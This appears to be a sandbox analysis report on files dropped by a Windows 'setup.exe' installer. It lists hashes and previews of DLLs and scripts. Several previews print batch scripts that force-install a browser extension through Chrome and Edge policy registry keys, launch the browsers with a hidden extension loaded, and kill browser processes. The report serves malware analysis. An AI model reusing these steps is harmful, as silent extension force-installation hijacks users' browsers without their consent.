Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.............u..u..u.n.v..u.n.p...u...q..u...v..u...p...u.n.q..u.n.s..u.n.t..u..t...u.\|...u.u..u....u.....u.w..u.Rich..u.........................PE..L....=.d.........."!...$.>...........Y.......P...............................0......c.....@.........................`X..d....a..,.......................@=.......h.....p...................@...........@............P..h............................text....=.......>.................. ..`.rdata...,...P.......B..............@..@.data...8%...........p..............@....rsrc...............................@..@.reloc...h.......j..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSI3566.tmp

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	602432
Entropy (8bit):	6.469756311917561
Encrypted:	false
SSDEEP:	6144:2aFYTdIO9QmvIeVKVhaxkSBULBA4tKSM3BZC4o4AOl4mN9ysU5p/s8g73W:jYL9HXVW0xOA+KlZC4v65ps8g73W
MD5:	FE647318C4CC7F18012BDF5F8F96C468
SHA1:	82E516C4247CA5EAC3365BF80120D8A1F30E3042
SHA-256:	AEC9F4CB37604C67C69FC0FEE1DC630DB016E1471212006ED787DD9432158E69
SHA-512:	2AB40A563FA4AFE48BA74067653A244BDD53F9C04CD3764F29C5F80349F68B2126C6442E0A75FFB3C207F8C9267D4FAE7B407CA7D1D5E31D729B84B0EDEA817C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.............u..u..u.n.v..u.n.p...u...q..u...v..u...p...u.n.q..u.n.s..u.n.t..u..t...u.\|...u.u..u....u.....u.w..u.Rich..u.........................PE..L....=.d.........."!...$.>...........Y.......P...............................0......c.....@.........................`X..d....a..,.......................@=.......h.....p...................@...........@............P..h............................text....=.......>.................. ..`.rdata...,...P.......B..............@..@.data...8%...........p..............@....rsrc...............................@..@.reloc...h.......j..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSI35A6.tmp

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	217920
Entropy (8bit):	6.659990688109136
Encrypted:	false
SSDEEP:	3072:s3mBJDmU1w79thLwNj3xrvkLzDSpjqBIe2c8AOAg0FuDGMxwVb7zY2+fS4P:s3MN9WmHcLz+pjqgAOSMmEfSC
MD5:	AE9AA65470306DB7DB02371779BBCE64
SHA1:	6580975408BC4013A5E7A3E717912B30B1CB6294
SHA-256:	FB7B23455C1BE134A4F89824F1CE45EF7D09A25188B6C726ADA9690C9B28EF33
SHA-512:	DB36D383DED9DA8C5B0BE211CB3C816787629993015763A5A19067BC86351C65CC4A9ED149416DF47D3DE02EA3CC35803862EA029FBD5059B1633A2630F7A769
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......W..............................................._..............................Q......9...........Rich...........PE..L...A>.d.........."!...$..................... ...............................P.......I....@.....................................<.... ..................@=...0..\.......p...................@...........@............ ...............................text...V........................... ..`.rdata....... ......................@..@.data...4...........................@....rsrc........ ......................@..@.reloc..\....0......................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSI35E5.tmp

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	602432
Entropy (8bit):	6.469756311917561
Encrypted:	false
SSDEEP:	6144:2aFYTdIO9QmvIeVKVhaxkSBULBA4tKSM3BZC4o4AOl4mN9ysU5p/s8g73W:jYL9HXVW0xOA+KlZC4v65ps8g73W
MD5:	FE647318C4CC7F18012BDF5F8F96C468
SHA1:	82E516C4247CA5EAC3365BF80120D8A1F30E3042
SHA-256:	AEC9F4CB37604C67C69FC0FEE1DC630DB016E1471212006ED787DD9432158E69
SHA-512:	2AB40A563FA4AFE48BA74067653A244BDD53F9C04CD3764F29C5F80349F68B2126C6442E0A75FFB3C207F8C9267D4FAE7B407CA7D1D5E31D729B84B0EDEA817C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.............u..u..u.n.v..u.n.p...u...q..u...v..u...p...u.n.q..u.n.s..u.n.t..u..t...u.\|...u.u..u....u.....u.w..u.Rich..u.........................PE..L....=.d.........."!...$.>...........Y.......P...............................0......c.....@.........................`X..d....a..,.......................@=.......h.....p...................@...........@............P..h............................text....=.......>.................. ..`.rdata...,...P.......B..............@..@.data...8%...........p..............@....rsrc...............................@..@.reloc...h.......j..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Pro13F3.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	448
Entropy (8bit):	5.019637372140489
Encrypted:	false
SSDEEP:	12:XjmBuit97lHl+fvEMmtcEE34+es1phk0/U:XBi/xl+fcMmGDis1M0c
MD5:	633C65BBEF12B7AD8D062A6DFC25CAF1
SHA1:	5D3E6E2879DF92D7694D954F162C27F9C80FA8EF
SHA-256:	E2318AD10C49834F45119B2231E38F34A4AD840BE94B5F212DA9C2BE7939759F
SHA-512:	D959954D0DAFC6EEAF150924CA71B007AFDCFAE04427EB37E2EE3C13ED443673CCC9DEC2BB5F4D2A6851925BA9D1E2DF71778021E873139DC4EA196E9A4DF399
Malicious:	false
Preview:	Stop-Process : Cannot find a process with the name "msedge". Verify the process name and call the cmdlet again...At C:\Users\user\AppData\Local\Temp\scr1333.ps1:1 char:1..+ Stop-Process -Name 'msedge';..+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~.. + CategoryInfo : ObjectNotFound: (msedge:String) [Stop-Process], ProcessCommandException.. + FullyQualifiedErrorId : NoProcessFoundForGivenName,Microsoft.PowerShell.Commands.StopProcessCommand.. ..

C:\Users\user\AppData\Local\Temp\ProED1B.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	448
Entropy (8bit):	5.006179910732363
Encrypted:	false
SSDEEP:	12:XjmBut97lHl+fF9EMRmCFtEE34+es1phk0/U:XB/xl+fFmM9LDis1M0c
MD5:	DF280E3DFC798D9DEEA723A64D15DA99
SHA1:	654AB86BF7EA34A7DA25DD81F1FF52D0A12146E2
SHA-256:	D0CF9A48E490820718FE56224243AE8CCB8294850E04CA7C89480A12C3183F64
SHA-512:	FE2F13DB2A957B639A5A4B12B77E035A7426099716B90F93A330924BCA3C3829C2F023807037FF49C2247C3A06499D8FD2A354930806D46DD5F8FDE03C9CD51B
Malicious:	false
Preview:	Stop-Process : Cannot find a process with the name "chrome". Verify the process name and call the cmdlet again...At C:\Users\user\AppData\Local\Temp\scrECF8.ps1:1 char:1..+ Stop-Process -Name 'chrome';..+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~.. + CategoryInfo : ObjectNotFound: (chrome:String) [Stop-Process], ProcessCommandException.. + FullyQualifiedErrorId : NoProcessFoundForGivenName,Microsoft.PowerShell.Commands.StopProcessCommand.. ..

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0conodoz.p1d.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0ezhapiw.zc3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_agxkquqf.zxt.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_amq3vsj0.1es.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_km0ehg4q.qop.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_o1e3j2xm.4kk.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\chrome.bat

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	954
Entropy (8bit):	5.163742020740791
Encrypted:	false
SSDEEP:	24:W46X7oejIT3IUgHI7wjITCIUXHI7OTsuJl821ESJF8svv:W46kejumawjftatshvF8s3
MD5:	4588743DA052A1FEA1239A511BB364FF
SHA1:	3D1787890905D230DE092047E2A6292398CCB440
SHA-256:	CE9ED72627102152193DB5F4A4D7AAFFA6656BC9F9BA0357DAF3AA3F841F8280
SHA-512:	92C4E084358D29EEE3359C6C3A56DEAF608B2FD968EA1212E3C56A8A6B24814DF104B00A3EC9722D1BFE1EBDA7184272D15E1E473195229C25F021144926AC6C
Malicious:	true
Preview:	call "%~dp0\config.bat"....set app=Google\Chrome..set ext="%LocalAppdata%\%app%\%ext_dir%\%id%\%version%_0\"....set chrome_exe=%systemdrive%\Program Files\%app%\Application\chrome.exe....if exist "%chrome_exe%" (...REG ADD "%base32%\Policies\%app%\ExtensionInstallAllowlist" /v "1" /t REG_SZ /d %id% /f...REG ADD "%base32%\%app%\Extensions\%id%" /v "path" /t REG_SZ /d %file% /f...REG ADD "%base32%\%app%\Extensions\%id%" /v "version" /t REG_SZ /d %version% /f.....REG ADD "%base64%\Policies\%app%\ExtensionInstallAllowlist" /v "1" /t REG_SZ /d %id% /f...REG ADD "%base64%\%app%\Extensions\%id%" /v "path" /t REG_SZ /d %file% /f...REG ADD "%base64%\%app%\Extensions\%id%" /v "version" /t REG_SZ /d %version% /f.....start "" "%chrome_exe%" --profile-directory="Default" --no-startup-window --load-extension="%systemdrive%\apps-helper".....for /l %%x in (1, 1, 20) do (....if not exist %ext% (timeout 2 > NUL) else (echo "Wait")...)..)....timeout 5 > NUL..

C:\Users\user\AppData\Local\Temp\edge.bat

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	834
Entropy (8bit):	5.119306354744483
Encrypted:	false
SSDEEP:	24:/q46XDjI0IuHI7LjIpIxHI7DRJl821ESMLHv:/q46zjzraLj+8a1hqLP
MD5:	6F5A4776CE5D10F58012519F76D3DD40
SHA1:	A48376DEC74A2D9C469B5D18156BE7E98AFB810C
SHA-256:	A144A36CE818D5C33BD5959D008DEA20E2736B87A1874015A560F4D9B85E9741
SHA-512:	255DEC451AF4CF5E946589BE5834506A60B89ED8703F1013A14B933915955579B9CC0A755C553DB2EB042E1A68AC9AC27E6F6A53DEAA8F6ADC7FD636B3E70D81
Malicious:	false
Preview:	call "%~dp0\config.bat"....set app=Microsoft\Edge..set ext="%LocalAppdata%\%app%\%ext_dir%\%id%\%version%_0\"....REG ADD "%base32%\Policies\%app%\ExtensionInstallAllowlist" /v "1" /t REG_SZ /d %id% /f..REG ADD "%base32%\%app%\Extensions\%id%" /v "path" /t REG_SZ /d %file% /f..REG ADD "%base32%\%app%\Extensions\%id%" /v "version" /t REG_SZ /d %version% /f....REG ADD "%base64%\Policies\%app%\ExtensionInstallAllowlist" /v "1" /t REG_SZ /d %id% /f..REG ADD "%base64%\%app%\Extensions\%id%" /v "path" /t REG_SZ /d %file% /f..REG ADD "%base64%\%app%\Extensions\%id%" /v "version" /t REG_SZ /d %version% /f....start "" "msedge" --profile-directory="Default" --no-startup-window --load-extension="%systemdrive%\apps-helper"....for /l %%x in (1, 1, 20) do (...if not exist %ext% (timeout 2 > NUL) else (echo "Wait")..)....timeout 5 > NUL..

C:\Users\user\AppData\Local\Temp\finish.bat

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	450
Entropy (8bit):	5.035914589492242
Encrypted:	false
SSDEEP:	12:f8F2Axuq3oidDQkuq3oidDx1G3oidDQkG3oid6:o43Ie3IXITI6
MD5:	E9224949C67BE20C5129A39BE0B97A99
SHA1:	116F2D25F2FBDDE03C086499DEC92A17CC972198
SHA-256:	D553F8DFBF7D04E9C17C7416E3C387BC2BAD4F7C030EB25E2FE2AF0C610840DB
SHA-512:	AF05AF92488983B88E5D0C5D9D71AC918499010F8A87523F3AA530B695EA96168B81633D4BE39D7C91D15C8C99D2BB7DF795179D79C11F11466255A00D9EF28C
Malicious:	false
Preview:	call "%~dp0\config.bat"....set chrome=Google\Chrome..set msedge=Microsoft\Edge....REG ADD "%base32%\Policies\%chrome%\ExtensionInstallForcelist" /v "1" /t REG_SZ /d %id% /f..REG ADD "%base64%\Policies\%chrome%\ExtensionInstallForcelist" /v "1" /t REG_SZ /d %id% /f....REG ADD "%base32%\Policies\%msedge%\ExtensionInstallForcelist" /v "1" /t REG_SZ /d %id% /f..REG ADD "%base64%\Policies\%msedge%\ExtensionInstallForcelist" /v "1" /t REG_SZ /d %id% /f

C:\Users\user\AppData\Local\Temp\pss1394.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	41576
Entropy (8bit):	4.059442483069048
Encrypted:	false
SSDEEP:	768:5WbLVyvvo51AbfOcQ8k1jauBugqlgVOWvjJudHaUtlGZ:20g8TmFplQS/Nyo
MD5:	318785524FC17E0B068194A184F5F16A
SHA1:	0776A64C20825EA71498B1CB3D02B71DA01EF2FA
SHA-256:	2C9001B038547856DB0929D5F4F452F35798F9F9DB5B3D6801E2EA97D80CC36A
SHA-512:	E8DC746656C43DCFC0377587EC8164E2D7676AB699DB74CEA561A1A2593EAABBA61AB9745B2FACA3276E3A236A99E220B6375CD9A835C409239949E5B2CC2837
Malicious:	false
Preview:	..p.a.r.a.m.(..... . .[.a.l.i.a.s.(.".p.r.o.p.F.i.l.e.".).]. . . . . . .[.P.a.r.a.m.e.t.e.r.(.M.a.n.d.a.t.o.r.y.=.$.t.r.u.e.).]. .[.s.t.r.i.n.g.]. .$.m.s.i.P.r.o.p.O.u.t.F.i.l.e.P.a.t.h..... .,.[.a.l.i.a.s.(.".p.r.o.p.S.e.p.".).]. . . . . . . .[.P.a.r.a.m.e.t.e.r.(.M.a.n.d.a.t.o.r.y.=.$.t.r.u.e.).]. .[.s.t.r.i.n.g.]. .$.m.s.i.P.r.o.p.K.V.S.e.p.a.r.a.t.o.r..... .,.[.a.l.i.a.s.(.".l.i.n.e.S.e.p.".).]. . . . . . . .[.P.a.r.a.m.e.t.e.r.(.M.a.n.d.a.t.o.r.y.=.$.t.r.u.e.).]. .[.s.t.r.i.n.g.]. .$.m.s.i.P.r.o.p.L.i.n.e.S.e.p.a.r.a.t.o.r..... .,.[.a.l.i.a.s.(.".s.c.r.i.p.t.F.i.l.e.".).]. . . . .[.P.a.r.a.m.e.t.e.r.(.M.a.n.d.a.t.o.r.y.=.$.t.r.u.e.).]. .[.s.t.r.i.n.g.]. .$.u.s.e.r.S.c.r.i.p.t.F.i.l.e.P.a.t.h..... .,.[.a.l.i.a.s.(.".s.c.r.i.p.t.A.r.g.s.F.i.l.e.".).].[.P.a.r.a.m.e.t.e.r.(.M.a.n.d.a.t.o.r.y.=.$.f.a.l.s.e.).].[.s.t.r.i.n.g.]. .$.u.s.e.r.S.c.r.i.p.t.A.r.g.s.F.i.l.e.P.a.t.h..... .,.[.P.a.r.a.m.e.t.e.r.(.M.a.n.d.a.t.o.r.y.=.$.t.r.u.e.).]. . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\AppData\Local\Temp\pssED0B.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	41576
Entropy (8bit):	4.059331023443082
Encrypted:	false
SSDEEP:	768:5WbLVyvvo51AbfOcQ8k1jauBugqlgV4WvjJudHaUtlGGVo:20g8TmFplQSJNy5o
MD5:	C4F8384C5715DF5B6CFAFE90074667AB
SHA1:	0D0031C6BB596903C9E639B02D9E26126320DC4F
SHA-256:	032093F045E28B9069556255FAC3B15124226890EC6D92AAC6BBD0AD4E4117F3
SHA-512:	AAF4B13DEC53C74AF55C451D1EADF3775CB31533D9AA34EE9852CF2FB8280FCA708E3E316181B918ECBB15D9061EEDB52E9DEE21755885A8A365F4F0861C34D1
Malicious:	true
Preview:	..p.a.r.a.m.(..... . .[.a.l.i.a.s.(.".p.r.o.p.F.i.l.e.".).]. . . . . . .[.P.a.r.a.m.e.t.e.r.(.M.a.n.d.a.t.o.r.y.=.$.t.r.u.e.).]. .[.s.t.r.i.n.g.]. .$.m.s.i.P.r.o.p.O.u.t.F.i.l.e.P.a.t.h..... .,.[.a.l.i.a.s.(.".p.r.o.p.S.e.p.".).]. . . . . . . .[.P.a.r.a.m.e.t.e.r.(.M.a.n.d.a.t.o.r.y.=.$.t.r.u.e.).]. .[.s.t.r.i.n.g.]. .$.m.s.i.P.r.o.p.K.V.S.e.p.a.r.a.t.o.r..... .,.[.a.l.i.a.s.(.".l.i.n.e.S.e.p.".).]. . . . . . . .[.P.a.r.a.m.e.t.e.r.(.M.a.n.d.a.t.o.r.y.=.$.t.r.u.e.).]. .[.s.t.r.i.n.g.]. .$.m.s.i.P.r.o.p.L.i.n.e.S.e.p.a.r.a.t.o.r..... .,.[.a.l.i.a.s.(.".s.c.r.i.p.t.F.i.l.e.".).]. . . . .[.P.a.r.a.m.e.t.e.r.(.M.a.n.d.a.t.o.r.y.=.$.t.r.u.e.).]. .[.s.t.r.i.n.g.]. .$.u.s.e.r.S.c.r.i.p.t.F.i.l.e.P.a.t.h..... .,.[.a.l.i.a.s.(.".s.c.r.i.p.t.A.r.g.s.F.i.l.e.".).].[.P.a.r.a.m.e.t.e.r.(.M.a.n.d.a.t.o.r.y.=.$.f.a.l.s.e.).].[.s.t.r.i.n.g.]. .$.u.s.e.r.S.c.r.i.p.t.A.r.g.s.F.i.l.e.P.a.t.h..... .,.[.P.a.r.a.m.e.t.e.r.(.M.a.n.d.a.t.o.r.y.=.$.t.r.u.e.).]. . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\AppData\Local\Temp\scr1333.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	34966
Entropy (8bit):	4.012086952694085
Encrypted:	false
SSDEEP:	768:Wo51AbfOcQ8k1jauBuAFXTsXBcNssJGZqZ/lo:F8TmFp1FXksDNo
MD5:	6F892EAF9EFFB6F18FB5257A14B7DED3
SHA1:	4CC7DEBDE228DFCE04168B92111A5B9C610E1E67
SHA-256:	7ABC5EB0930087DF17AD7DFA4915F116C7C70BEA4F63222AF096B7EA7D8730AC
SHA-512:	37824C4CA30B2B02B1C973912A2BD596FA0BF4DAB34270CC33129F9AFA853B725729622DECF0B96460ACF0CD5975E70ABCB0A8828C05071B29BFB7BA62707ED0
Malicious:	false
Preview:	..S.t.o.p.-.P.r.o.c.e.s.s. .-.N.a.m.e. .'.m.s.e.d.g.e.'.;.....#. .S.I.G. .#. .B.e.g.i.n. .s.i.g.n.a.t.u.r.e. .b.l.o.c.k.....#. .M.I.I.v.7.w.Y.J.K.o.Z.I.h.v.c.N.A.Q.c.C.o.I.I.v.4.D.C.C.L.9.w.C.A.Q.E.x.D.z.A.N.B.g.l.g.h.k.g.B.Z.Q.M.E.A.g.E.F.A.D.B.5.B.g.o.r.....#. .B.g.E.E.A.Y.I.3.A.g.E.E.o.G.s.w.a.T.A.0.B.g.o.r.B.g.E.E.A.Y.I.3.A.g.E.e.M.C.Y.C.A.w.E.A.A.A.Q.Q.H.8.w.7.Y.F.l.L.C.E.6.3.J.N.L.G.....#. .K.X.7.z.U.Q.I.B.A.A.I.B.A.A.I.B.A.A.I.B.A.A.I.B.A.D.A.x.M.A.0.G.C.W.C.G.S.A.F.l.A.w.Q.C.A.Q.U.A.B.C.B.T.C.k.k.6.X.C.8.8.D.0.4.M.....#. .s.L.c.v.S.S.B.y.y.U.H.Z.S.i.z.I.1.v.Q.I.A.A.q.W.9.p.S.4.O.K.C.C.F.M.Y.w.g.g.a.j.M.I.I.E.i.6.A.D.A.g.E.C.A.h.B.4.S.q.k.o.H.V.l.v.....#. .n.N.D.O.s.P.6.p.e.m.S.b.M.A.0.G.C.S.q.G.S.I.b.3.D.Q.E.B.D.A.U.A.M.E.w.x.I.D.A.e.B.g.N.V.B.A.s.T.F.0.d.s.b.2.J.h.b.F.N.p.Z.2.4.g.....#. .U.m.9.v.d.C.B.D.Q.S.A.t.I.F.I.2.M.R.M.w.E.Q.Y.D.V.Q.Q.K.E.w.p.H.b.G.9.i.Y.W.x.T.a.W.d.u.M.R.M.w.E.Q.Y.D.V.Q.Q.D.E.w.p.H.b.G.9.i.....#. .Y.W.x.T.a.W.d.u.M.B.4.X.D.T.I.w.M.D.k.x.N.j.A.w.M.D.A.w.

C:\Users\user\AppData\Local\Temp\scrECF8.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	34966
Entropy (8bit):	4.011720633275862
Encrypted:	false
SSDEEP:	768:mo51AbfOcQ8k1jauBuT4WvjJudHaUtlGCm:V8TmFpyNyvm
MD5:	DDAD32F3A446F9322407EB5E73C68E97
SHA1:	D59D11FE20053B58831C2E255E1077DDC635BCA6
SHA-256:	CCF08E7D01C0AE0A7D2BDEAB343443F41E9CD51E40450B6B4CE182F256C0116C
SHA-512:	09778E766B1A15E6C5F0D117B06FA07CC7B8FD2E632FA69D7AFA487D9A930D2F1B5D7BD3E585EFF79BBCE77377C854C435C7A418910D5A958FE9E204612AB688
Malicious:	true
Preview:	..S.t.o.p.-.P.r.o.c.e.s.s. .-.N.a.m.e. .'.c.h.r.o.m.e.'.;.....#. .S.I.G. .#. .B.e.g.i.n. .s.i.g.n.a.t.u.r.e. .b.l.o.c.k.....#. .M.I.I.v.7.g.Y.J.K.o.Z.I.h.v.c.N.A.Q.c.C.o.I.I.v.3.z.C.C.L.9.s.C.A.Q.E.x.D.z.A.N.B.g.l.g.h.k.g.B.Z.Q.M.E.A.g.E.F.A.D.B.5.B.g.o.r.....#. .B.g.E.E.A.Y.I.3.A.g.E.E.o.G.s.w.a.T.A.0.B.g.o.r.B.g.E.E.A.Y.I.3.A.g.E.e.M.C.Y.C.A.w.E.A.A.A.Q.Q.H.8.w.7.Y.F.l.L.C.E.6.3.J.N.L.G.....#. .K.X.7.z.U.Q.I.B.A.A.I.B.A.A.I.B.A.A.I.B.A.A.I.B.A.D.A.x.M.A.0.G.C.W.C.G.S.A.F.l.A.w.Q.C.A.Q.U.A.B.C.C.V.x.k.5.R.r.T.m.M.D.F.8.M.....#. .7.g.Z.7.U.M.H.k.e.8.Z.x.E.3.J.b.S.X.E.t.O.m.I.N.V.O.e.+.8.a.C.C.F.M.Y.w.g.g.a.j.M.I.I.E.i.6.A.D.A.g.E.C.A.h.B.4.S.q.k.o.H.V.l.v.....#. .n.N.D.O.s.P.6.p.e.m.S.b.M.A.0.G.C.S.q.G.S.I.b.3.D.Q.E.B.D.A.U.A.M.E.w.x.I.D.A.e.B.g.N.V.B.A.s.T.F.0.d.s.b.2.J.h.b.F.N.p.Z.2.4.g.....#. .U.m.9.v.d.C.B.D.Q.S.A.t.I.F.I.2.M.R.M.w.E.Q.Y.D.V.Q.Q.K.E.w.p.H.b.G.9.i.Y.W.x.T.a.W.d.u.M.R.M.w.E.Q.Y.D.V.Q.Q.D.E.w.p.H.b.G.9.i.....#. .Y.W.x.T.a.W.d.u.M.B.4.X.D.T.I.w.M.D.k.x.N.j.A.w.M.D.A.w.

C:\Users\user\AppData\Local\Temp\shi3105.tmp

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5038592
Entropy (8bit):	6.043058205786219
Encrypted:	false
SSDEEP:	49152:vVkDvLSkqdbEsuV+ebMh8w+/H8pF/bmlEyGjWvcP1xQ+X7TqVAMPLfQyim8kznsY:2Ll+Mn0WHl9VA2ic/
MD5:	11F7419009AF2874C4B0E4505D185D79
SHA1:	451D8D0470CEDB268619BA1E7AE78ADAE0EBA692
SHA-256:	AC24CCE72F82C3EBBE9E7E9B80004163B9EED54D30467ECE6157EE4061BEAC95
SHA-512:	1EABBBFDF579A93BBB055B973AA3321FC8DC8DA1A36FDE2BA9A4D58E5751DC106A4A1BBC4AD1F425C082702D6FBB821AA1078BC5ADC6B2AD1B5CE12A68058805
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......e.D!...!...!...(.V.C...5..."...5...&...5...)...!......5...:...5... ...5...R...5.:. ...5... ...Rich!...................PE..d...p............." .........D...............................................`M.....'.M...`A........................................@.H.L&....I......@K.H.....I..............@M.....`J:.p.......................(....%..............@.......$.H......................text...4B.......D.................. ..`.wpp_sf.....`.......H.............. ..`.rdata...L......N.................@..@.data...hD...PI......*I.............@....pdata........I......2I.............@..@.didat.......0K.......J.............@....rsrc...H....@K.......J.............@..@.reloc.......@M.. 